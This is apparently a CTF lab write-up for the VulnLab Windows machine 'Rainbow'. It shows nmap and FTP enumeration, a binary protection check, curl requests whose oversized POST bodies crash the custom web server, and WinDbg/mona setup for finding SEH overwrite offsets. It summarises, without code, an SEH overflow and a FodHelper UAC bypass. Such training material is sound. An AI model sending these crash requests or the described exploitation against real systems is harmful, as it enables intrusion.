POSTS

VULNLAB: Rainbow

Rainbow is a medium-difficulty Windows machine exposing FTP and HTTP services on ports 21 and 80 & 8080 respectively. From the FTP server, we can retrieve the web server binary and a PowerShell restart script, which is used to relaunch the server in the event of a crash automatically. The HTTP service on port 8080 is vulnerable to an SEH-based buffer overflow and exploiting this yields code execution as the rainbow user. Because rainbow is a member of the Administrators group, we achieved full elevation by bypassing UAC via the FodHelper technique.

VULNLAB: Rainbow
6482 words · 31 min

Overview

  • Type Machines
  • OS Windows
  • Severity Medium
  • Creator xct
  • Release date 2022 Jan 17

Enumeration

Start the instance via Discord and let’s go:

image

10.10.91.23

Nmap

$ nmap -sC -sV -Pn -p- --min-rate=1000 -T4 10.10.91.23
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-29 12:57 JST
Stats: 0:04:18 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 88.89% done; ETC: 13:01 (0:00:16 remaining)
Nmap scan report for 10.10.91.23
Host is up (0.24s latency).
Not shown: 65526 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 01-18-22  08:22AM                  258 dev.txt
| 01-18-22  08:30AM                54784 rainbow.exe
| 01-16-22  01:34PM                  479 restart.ps1
|_01-16-22  12:14PM       <DIR>          wwwroot
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=rainbow
| Not valid before: 2024-12-28T03:56:03
|_Not valid after:  2025-06-29T03:56:03
|_ssl-date: 2024-12-29T04:02:57+00:00; -1s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: RAINBOW
|   NetBIOS_Domain_Name: RAINBOW
|   NetBIOS_Computer_Name: RAINBOW
|   DNS_Domain_Name: rainbow
|   DNS_Computer_Name: rainbow
|   Product_Version: 10.0.17763
|_  System_Time: 2024-12-29T04:02:17+00:00
8080/tcp  open  http-proxy
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-title: Dev Wiki powered by Rainbow Webserver
|_http-trane-info: Problem with XML parsing of /evox/about
| fingerprint-strings: 
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 200 OK
|     Cache-Control: no-cache, private
|     Content-Type: text/html
|     X-Powered-By: Rainbow 0.1
|     Content-Length: 1478
|     <!DOCTYPE html>
|     <html lang="en" xmlns="http://www.w3.org/1999/xhtml">
|     <head>
|     <meta charset="utf-8" />
|     <title>Dev Wiki powered by Rainbow Webserver</title>
|     <style> 
|     .rainbow {
|     font-size: 24pt;
|     background-image: linear-gradient(to left, violet, indigo, blue, green, yellow, orange, red); -webkit-background-clip: text;
|     color: transparent;
|     body {
|     display: flex;
|     justify-content: center;
|     align-items: center;
|     text-align: center;
|     min-height: 100vh;
|     </style>
|     </head>
|     <body>
|     <!-- 
|     Under Development, please come back later -->
|     <pre class="rainbow">
|     _.--'_......----........
|     _,i,,-'' __,,...........___
|_    ,;-' _.--'' ___,,...
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.94SVN%I=7%D=12/29%Time=6770C927%P=x86_64-pc-linux-gnu%
SF:r(GetRequest,646,"HTTP/1\.1\x20200\x20OK\r\nCache-Control:\x20no-cache,
SF:\x20private\r\nContent-Type:\x20text/html\r\nX-Powered-By:\x20Rainbow\x
SF:200\.1\r\nContent-Length:\x201478\r\n\r\n\xef\xbb\xbf<!DOCTYPE\x20html>
SF:\n\n<html\x20lang=\"en\"\x20xmlns=\"http://www\.w3\.org/1999/xhtml\">\n
SF:<head>\n\x20\x20\x20\x20<meta\x20charset=\"utf-8\"\x20/>\n\x20\x20\x20\
SF:x20<title>Dev\x20Wiki\x20powered\x20by\x20Rainbow\x20Webserver</title>\
SF:n\x20\x20\x20\x20<style>\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20\.rainbow\x20{\n\t\tfont-size:\x2024pt;\n\t\tbackground-image:\x20li
SF:near-gradient\(to\x20left,\x20violet,\x20indigo,\x20blue,\x20green,\x20
SF:yellow,\x20orange,\x20red\);\x20\x20\x20-webkit-background-clip:\x20tex
SF:t;\n\x20\t\tcolor:\x20transparent;\n\t}\n\tbody\x20{\n\x20\x20\t\tdispl
SF:ay:\x20flex;\n\x20\x20\t\tjustify-content:\x20center;\n\x20\t\t\x20alig
SF:n-items:\x20center;\n\x20\x20\t\ttext-align:\x20center;\n\x20\x20\t\tmi
SF:n-height:\x20100vh;\n\t}\n\x20\x20\x20\x20</style>\n</head>\n<body>\n\x
SF:20\x20\x20\x20<!--\x20\xf0\x9f\x8c\x88\x20Under\x20Development,\x20plea
SF:se\x20come\x20back\x20later\x20-->\n\n\n\x20\x20\x20\x20\x20<pre\x20cla
SF:ss=\"rainbow\">\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\.--'_\.\.\.\.\.
SF:\.----\.\.\.\.\.\.\.\.\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_,i,,-''\x20__,,\.\.\.
SF:\.\.\.\.\.\.\.\.___\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20,;-'\x20_\.--''\x20\x20\x20\x20__
SF:_,,\.\.\.")%r(HTTPOptions,646,"HTTP/1\.1\x20200\x20OK\r\nCache-Control:
SF:\x20no-cache,\x20private\r\nContent-Type:\x20text/html\r\nX-Powered-By:
SF:\x20Rainbow\x200\.1\r\nContent-Length:\x201478\r\n\r\n\xef\xbb\xbf<!DOC
SF:TYPE\x20html>\n\n<html\x20lang=\"en\"\x20xmlns=\"http://www\.w3\.org/19
SF:99/xhtml\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"utf-8\"\x20/>\n
SF:\x20\x20\x20\x20<title>Dev\x20Wiki\x20powered\x20by\x20Rainbow\x20Webse
SF:rver</title>\n\x20\x20\x20\x20<style>\x20\x20\x20\x20\n\x20\x20\x20\x20
SF:\x20\x20\x20\x20\.rainbow\x20{\n\t\tfont-size:\x2024pt;\n\t\tbackground
SF:-image:\x20linear-gradient\(to\x20left,\x20violet,\x20indigo,\x20blue,\
SF:x20green,\x20yellow,\x20orange,\x20red\);\x20\x20\x20-webkit-background
SF:-clip:\x20text;\n\x20\t\tcolor:\x20transparent;\n\t}\n\tbody\x20{\n\x20
SF:\x20\t\tdisplay:\x20flex;\n\x20\x20\t\tjustify-content:\x20center;\n\x2
SF:0\t\t\x20align-items:\x20center;\n\x20\x20\t\ttext-align:\x20center;\n\
SF:x20\x20\t\tmin-height:\x20100vh;\n\t}\n\x20\x20\x20\x20</style>\n</head
SF:>\n<body>\n\x20\x20\x20\x20<!--\x20\xf0\x9f\x8c\x88\x20Under\x20Develop
SF:ment,\x20please\x20come\x20back\x20later\x20-->\n\n\n\x20\x20\x20\x20\x
SF:20<pre\x20class=\"rainbow\">\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\.-
SF:-'_\.\.\.\.\.\.----\.\.\.\.\.\.\.\.\n\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_,i,,-''\
SF:x20__,,\.\.\.\.\.\.\.\.\.\.\.___\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20,;-'\x20_\.--''\x20\
SF:x20\x20\x20___,,\.\.\.");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
  • Add rainbow in in /etc/hosts
  • Anonymous FTP login allowed

Web - default IIS (80/tcp)

image

Web - custom rainbow (8080/tcp)

image

FTP (21/tcp)

$ ftp -i anonymous@rainbow      
Connected to rainbow.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: test@test.vl
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
229 Entering Extended Passive Mode (|||50101|)
150 Opening ASCII mode data connection.
01-18-22  08:22AM                  258 dev.txt
01-18-22  08:30AM                54784 rainbow.exe
01-16-22  01:34PM                  479 restart.ps1
01-16-22  12:14PM       <DIR>          wwwroot
226 Transfer complete.
ftp> binary
200 Type set to I.
ftp> get dev.txt
local: dev.txt remote: dev.txt
229 Entering Extended Passive Mode (|||50102|)
150 Opening BINARY mode data connection.
100% |**********************************************************************************************|   258        1.05 KiB/s    00:00 ETA
226 Transfer complete.
258 bytes received in 00:00 (1.05 KiB/s)
ftp> get rainbow.exe
local: rainbow.exe remote: rainbow.exe
229 Entering Extended Passive Mode (|||50103|)
150 Opening BINARY mode data connection.
100% |**********************************************************************************************| 54784       75.26 KiB/s    00:00 ETA
226 Transfer complete.
54784 bytes received in 00:00 (75.25 KiB/s)
ftp> get restart.ps1
local: restart.ps1 remote: restart.ps1
229 Entering Extended Passive Mode (|||50104|)
125 Data connection already open; Transfer starting.
100% |**********************************************************************************************|   479        1.97 KiB/s    00:00 ETA
226 Transfer complete.
479 bytes received in 00:00 (1.97 KiB/s)
ftp> dir wwwroot
229 Entering Extended Passive Mode (|||50105|)
125 Data connection already open; Transfer starting.
01-16-22  11:48AM                 1523 index.html
226 Transfer complete.
ftp> quit
221 Goodbye.
$ cat dev.txt                   
* Our webserver has been crashing a lot lately. Instead of touching the code we added a restart script! 
* The server will dynamically pick a port when its default port is unresponsive (8080-8090).
* We'll fix this later by adding load balancer.

- dev team
$ cat restart.ps1      
Set-Location -Path c:\rainbow
for(;;){
try{
If (!(Get-Process -Name rainbow -ErrorAction SilentlyContinue))
{Invoke-Expression "C:\rainbow\rainbow.exe" }
$proc = Get-Process -Name rainbow | Sort-Object -Property ProcessName -Unique -ErrorAction SilentlyContinue
If (!$proc -or ($proc.Responding -eq $false) โ€“or ($proc.WorkingSet -GT 200000*1024)) {
$proc.Kill()
Start-Sleep -s 10
Invoke-Expression "C:\rainbow\rainbow.exe"}
}
catch    {    }
Start-sleep -s 30
}

Ok so currently rainbow.exe is running on 8080/tcp of rainbow host.

$ file rainbow.exe                       
rainbow.exe: PE32 executable (console) Intel 80386, for MS Windows, 4 sections

Seems this machine is focus on binary exploitation of the running rainbow.exe (32 bit) on port 8080/tcp to obtain a shell on the host.

Binary exploiting (rainbow.exe)

We install binary security check:

$ cargo install binary-security-check
    Updating crates.io index
  Downloaded binary-security-check v1.3.2
  Downloaded 1 crate (29.1 KB) in 0.68s
  Installing binary-security-check v1.3.2
    Updating crates.io index
     Locking 81 packages to latest compatible versions
      Adding goblin v0.8.2 (latest: v0.9.2)
      Adding thiserror v1.0.69 (latest: v2.0.9)
      Adding thiserror-impl v1.0.69 (latest: v2.0.9)
      Adding windows-core v0.52.0 (latest: v0.58.0)
      Adding windows-sys v0.52.0 (latest: v0.59.0)
...

Check the binary security flags:

$ /home/user/.cargo/bin/binary-security-check ./rainbow.exe 
./rainbow.exe: !CHECKSUM !DATA-EXEC-PREVENT !RUNS-IN-APP-CONTAINER +CONSIDER-MANIFEST !VERIFY-DIGITAL-CERT !CONTROL-FLOW-GUARD !HANDLES-ADDR-GT-2GB !ASLR !SAFE-SEH
  • !ASLR means the binary does not support Address Space Layout Randomization == NO ASLR.
  • !DATA-EXEC-PREVENT means that Data Execution Prevention is disabled == NO DEP.
  • !SAFE-SEH means that Safe Structured Exception Handling is disabled.
  • So we can just use a simple pop pop ret; and execute a shellcode on the stack.

Install pwntools:

$ python3 -m pip install --upgrade pwntools --break-system-packages

OR

$ pipx install pwntools 

Following the dev.txt notes, we will test with a big request if we can crash the server:

$ curl http://rainbow:8080/$(python3 -c 'print("A"*5000)')
<!DOCTYPE html>

<html lang="en" xmlns="http://www.w3.org/1999/xhtml">
<head>
    <meta charset="utf-8" />
    <title>Dev Wiki powered by Rainbow Webserver</title>
    <style>    
        .rainbow {
		font-size: 24pt;
		background-image: linear-gradient(to left, violet, indigo, blue, green, yellow, orange, red);   -webkit-background-clip: text;
 		color: transparent;
	}
	body {
  		display: flex;
  		justify-content: center;
 		 align-items: center;
  		text-align: center;
  		min-height: 100vh;
	}
    </style>
</head>
<body>
    <!-- ๐ŸŒˆ Under Development, please come back later -->


     <pre class="rainbow">
                           _.--'_......----........
                        _,i,,-'' __,,...........___
                      ,;-' _.--''    ___,,......___
                    ,;'_,''   _.--'''    __,,......
                  ,;','   _.-'   _,.--'''__,,......
      .-.        //,'   ,'   _.-'_,.--'''  .-.
     ;. .;      ///  ,-'  ,-' ,-'  .-.    ;. .;
 .-"-.. ..-"`. /// ,'  ,-' ,-'    ;. ..-"-.. ..-"`.
 `. _.(_)._ .'/// /  ,' ,-'   .'"-.. .`."_.(_)._ .'
   "/.' '. " /// / ,' ,'      `. _.(_)._"/.' '. "
   ,';' ';   |||/ - ,'          " .` `.\,';' ';
   |  '-'    \oOoO '              ;` `;`|  '-'
   |         oOoOOo                `-`  |
   \        (_____)                     \
    |        )   (                       |
    `.      (_____)                      `.
MMWwwMmWwMmWwMmWwMmWwMmWwMmWwMmWwMmWwMmWwMmWwMmWwMm
     </pre>
</body>
</html>

No crash using a big GET request

Same using a POST request:

$ curl http://rainbow:8080/ -d $(python3 -c 'print("A"*5000)') -X POST
<!DOCTYPE html>

<html lang="en" xmlns="http://www.w3.org/1999/xhtml">
<head>
    <meta charset="utf-8" />
    <title>Dev Wiki powered by Rainbow Webserver</title>
    <style>    
        .rainbow {
		font-size: 24pt;
		background-image: linear-gradient(to left, violet, indigo, blue, green, yellow, orange, red);   -webkit-background-clip: text;
 		color: transparent;
	}
	body {
  		display: flex;
  		justify-content: center;
 		 align-items: center;
  		text-align: center;
  		min-height: 100vh;
	}
    </style>
</head>
<body>
    <!-- ๐ŸŒˆ Under Development, please come back later -->


     <pre class="rainbow">
                           _.--'_......----........
                        _,i,,-'' __,,...........___
                      ,;-' _.--''    ___,,......___
                    ,;'_,''   _.--'''    __,,......
                  ,;','   _.-'   _,.--'''__,,......
      .-.        //,'   ,'   _.-'_,.--'''  .-.
     ;. .;      ///  ,-'  ,-' ,-'  .-.    ;. .;
 .-"-.. ..-"`. /// ,'  ,-' ,-'    ;. ..-"-.. ..-"`.
 `. _.(_)._ .'/// /  ,' ,-'   .'"-.. .`."_.(_)._ .'
   "/.' '. " /// / ,' ,'      `. _.(_)._"/.' '. "
   ,';' ';   |||/ - ,'          " .` `.\,';' ';
   |  '-'    \oOoO '              ;` `;`|  '-'
   |         oOoOOo                `-`  |
   \        (_____)                     \
    |        )   (                       |
    `.      (_____)                      `.
MMWwwMmWwMmWwMmWwMmWwMmWwMmWwMmWwMmWwMmWwMmWwMmWwMm
     </pre>
</body>
</html>      

Failed

After more tries and reduce a bit the size, we can reproduce the crash:

$ curl http://rainbow:8080/ -d $(python3 -c 'print("A"*1000)') -X POST -vvv
Note: Unnecessary use of -X or --request, POST is already inferred.
15:48:16.586882 [0-x] == Info: [READ] client_reset, clear readers
15:48:16.588623 [0-0] == Info: Host rainbow:8080 was resolved.
15:48:16.588921 [0-0] == Info: IPv6: (none)
15:48:16.589005 [0-0] == Info: IPv4: 10.10.91.23
15:48:16.589045 [0-0] == Info: [SETUP] added
15:48:16.589088 [0-0] == Info:   Trying 10.10.91.23:8080...
15:48:28.156982 [0-0] == Info: Connected to rainbow (10.10.91.23) port 8080
15:48:28.157169 [0-0] == Info: using HTTP/1.x
15:48:28.157301 [0-0] == Info: [READ] add buf reader, len=1000 -> 0
15:48:28.157542 [0-0] == Info: [READ] cr_buf_read(len=65388) -> 0, nread=1000, eos=1
15:48:28.157642 [0-0] == Info: [READ] client_read(len=65388) -> 0, nread=1000, eos=1
15:48:28.157766 [0-0] => Send header, 148 bytes (0x94)
0000: POST / HTTP/1.1
0011: Host: rainbow:8080
0025: User-Agent: curl/8.11.1
003e: Accept: */*
004b: Content-Length: 1000
0061: Content-Type: application/x-www-form-urlencoded
0092: 
15:48:28.157993 [0-0] => Send data, 1000 bytes (0x3e8)
0000: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0040: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0080: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
00c0: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0100: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0140: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0180: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
01c0: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0200: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0240: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0280: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
02c0: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0300: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0340: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0380: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
03c0: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
15:48:28.159370 [0-0] == Info: upload completely sent off: 1000 bytes
15:48:30.036218 [0-0] == Info: Recv failure: Connection reset by peer
15:48:30.036389 [0-0] == Info: [WRITE] cw-out done
15:48:30.036489 [0-0] == Info: closing connection #0
15:48:30.036571 [0-0] == Info: [SETUP] close
15:48:30.036766 [0-0] == Info: [SETUP] destroy
curl: (56) Recv failure: Connection reset by peer

Pre-requirements for debugging (Windbg + Mona + Windbglib + Python2.7)

Switch to our Win11 machine, copy rainbow.exe and start the debugging as we need to find the exact offset.

Note

Be sure that network interface in the VM is on NAT mode instead of BRIDGE to allow the connection between the Linux VM and the Windows VM too:

image

Following the instructions from corelan/windbglib - issue 23):

Install python-2.7.18.msi (32bit version and not the 64bit python-2.7.18.amd64.msi):

image

Install WinDBG via Windows 10 SDK, version 1809 (10.0.17763.0):

Only select โ€œDebugging tools for Windowsโ€. Deselect the other options:

image

image

Set Symbol Path:

c:\>mkdir c:\symbols
c:\>set _NT_SYMBOL_PATH=srv*c:\symbols*http://msdl.microsoft.com/download/symbols

OR

image

Setup Windbglib & Mona:

In a powershell session as Administrator:

PS C:\Program Files (x86)\Windows Kits\10\Debuggers\x86> iwr https://raw.githubusercontent.com/corelan/windbglib/master/windbglib.py -OutFile windbglib.py
PS C:\Program Files (x86)\Windows Kits\10\Debuggers\x86> iwr https://github.com/corelan/mona/raw/master/mona.py -OutFile mona.py
PS C:\Windows\Temp> iwr https://github.com/corelan/windbglib/raw/master/pykd/pykd.zip -OutFile pykd.zip
PS C:\Windows\Temp> tar -xvf .\pykd.zip
x pykd.pyd
x vcredist_x86.exe
PS C:\Windows\Temp> .\vcredist_x86.exe

image

image

PS C:\Windows\Temp> copy .\pykd.pyd C:\"Program Files (x86)\Windows Kits\10\Debuggers\x86\winext"

Register the DLL:

In a command prompt as Administrator:

Microsoft Windows [Version 10.0.22631.4602]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\System32>cd "C:\Program Files (x86)\Common Files\Microsoft Shared\VC"
C:\Program Files (x86)\Common Files\Microsoft Shared\VC>regsvr32 msdia90.dll

image

Debugging

Execute locally rainbow.exe with the same provided port 8080/tcp than remote app:

C:\Users\01214830\Downloads\VULNLAB\RAINBOW>rainbow.exe 8080
Starting Rainbow Server...!

Test again to crash the app:

$ curl http://192.168.3.65:8080/ -d $(python -c 'print("A"*1000)') -X POST -vvv
Note: Unnecessary use of -X or --request, POST is already inferred.
16:24:15.563107 [0-x] == Info: [READ] client_reset, clear readers
16:24:15.563182 [0-0] == Info: [SETUP] added
16:24:15.563224 [0-0] == Info:   Trying 192.168.3.65:8080...
16:24:15.564001 [0-0] == Info: Connected to 192.168.3.65 (192.168.3.65) port 8080
16:24:15.564064 [0-0] == Info: using HTTP/1.x
16:24:15.564101 [0-0] == Info: [READ] add buf reader, len=1000 -> 0
16:24:15.564177 [0-0] == Info: [READ] cr_buf_read(len=65383) -> 0, nread=1000, eos=1
16:24:15.564237 [0-0] == Info: [READ] client_read(len=65383) -> 0, nread=1000, eos=1
16:24:15.564379 [0-0] => Send header, 153 bytes (0x99)
0000: POST / HTTP/1.1
0011: Host: 192.168.3.65:8080
002a: User-Agent: curl/8.11.1
0043: Accept: */*
0050: Content-Length: 1000
0066: Content-Type: application/x-www-form-urlencoded
0097: 
16:24:15.564965 [0-0] => Send data, 1000 bytes (0x3e8)
0000: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0040: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0080: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
00c0: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0100: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0140: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0180: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
01c0: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0200: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0240: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0280: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
02c0: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0300: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0340: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0380: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
03c0: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
16:24:15.567796 [0-0] == Info: upload completely sent off: 1000 bytes
16:24:18.843507 [0-0] == Info: Recv failure: Connection reset by peer
16:24:18.843683 [0-0] == Info: [WRITE] cw-out done
16:24:18.843837 [0-0] == Info: closing connection #0
16:24:18.843877 [0-0] == Info: [SETUP] close
16:24:18.843927 [0-0] == Info: [SETUP] destroy
curl: (56) Recv failure: Connection reset by peer

We confirmed the crash:

C:\Users\01214830\Downloads\VULNLAB\RAINBOW>rainbow.exe 8080
Starting Rainbow Server...!
[Debug] POST /
[Debug] POST-Data AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAโ•จHZtAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Start rainbow.exe again:

C:\Users\01214830\Downloads\VULNLAB\RAINBOW>rainbow.exe 8080
Starting Rainbow Server...!

In Windbg (running as local admin), File > Attach to Process:

image

image

Microsoft (R) Windows Debugger Version 10.0.17763.132 X86
Copyright (c) Microsoft Corporation. All rights reserved.

*** wait with pending attach

************* Path validation summary **************
Response                         Time (ms)     Location
Deferred                                       srv*c:\symbols*http://msdl.microsoft.com/download/symbols
Symbol search path is: srv*c:\symbols*http://msdl.microsoft.com/download/symbols
Executable search path is: 
ModLoad: 00400000 00411000   C:\Users\01214830\Downloads\VULNLAB\RAINBOW\rainbow.exe
ModLoad: 77950000 77b02000   C:\Windows\SYSTEM32\ntdll.dll
ModLoad: 773e0000 774d0000   C:\Windows\System32\KERNEL32.DLL
ModLoad: 776b0000 77933000   C:\Windows\System32\KERNELBASE.dll
ModLoad: 77000000 7705f000   C:\Windows\System32\WS2_32.dll
ModLoad: 757a0000 7585a000   C:\Windows\System32\RPCRT4.dll
ModLoad: 76ba0000 76cb2000   C:\Windows\System32\ucrtbase.dll
ModLoad: 74540000 745ad000   C:\Windows\SYSTEM32\MSVCP140.dll
ModLoad: 754e0000 754f5000   C:\Windows\SYSTEM32\VCRUNTIME140.dll
ModLoad: 73590000 735e1000   C:\Windows\system32\mswsock.dll
(56c.6014): Break instruction exception - code 80000003 (first chance)
eax=002d4000 ebx=00000000 ecx=77a04b40 edx=77a04b40 esi=77a04b40 edi=77a04b40
eip=779c9000 esp=008bff48 ebp=008bff74 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!DbgBreakPoint:
779c9000 cc              int     3

Load mona into windbg:

0:000> .load pykd.pyd 

Create our working folder (where all can be stored including our cyclic pattern etc):

0:001> !py mona config -set workingfolder C:\monalogs\%p_%i
Hold on...
[+] Command used:
!py C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\mona.py config -set workingfolder C:\monalogs\%p_%i
Writing value to configuration file
Old value of parameter workingfolder = 
[+] Creating config file, setting parameter workingfolder
New value of parameter workingfolder =  C:\monalogs\%p_%i

[+] This mona.py action took 0:00:00.003000

SEH Offset finding

We will find offsets of our SEH/NSEH overwrites by sending a cyclic pattern.

Create a cyclic pattern:

0:000> !py mona pattern_create 900
Hold on...
[+] Command used:
!py C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\mona.py pattern_create 900
Creating cyclic pattern of 900 bytes
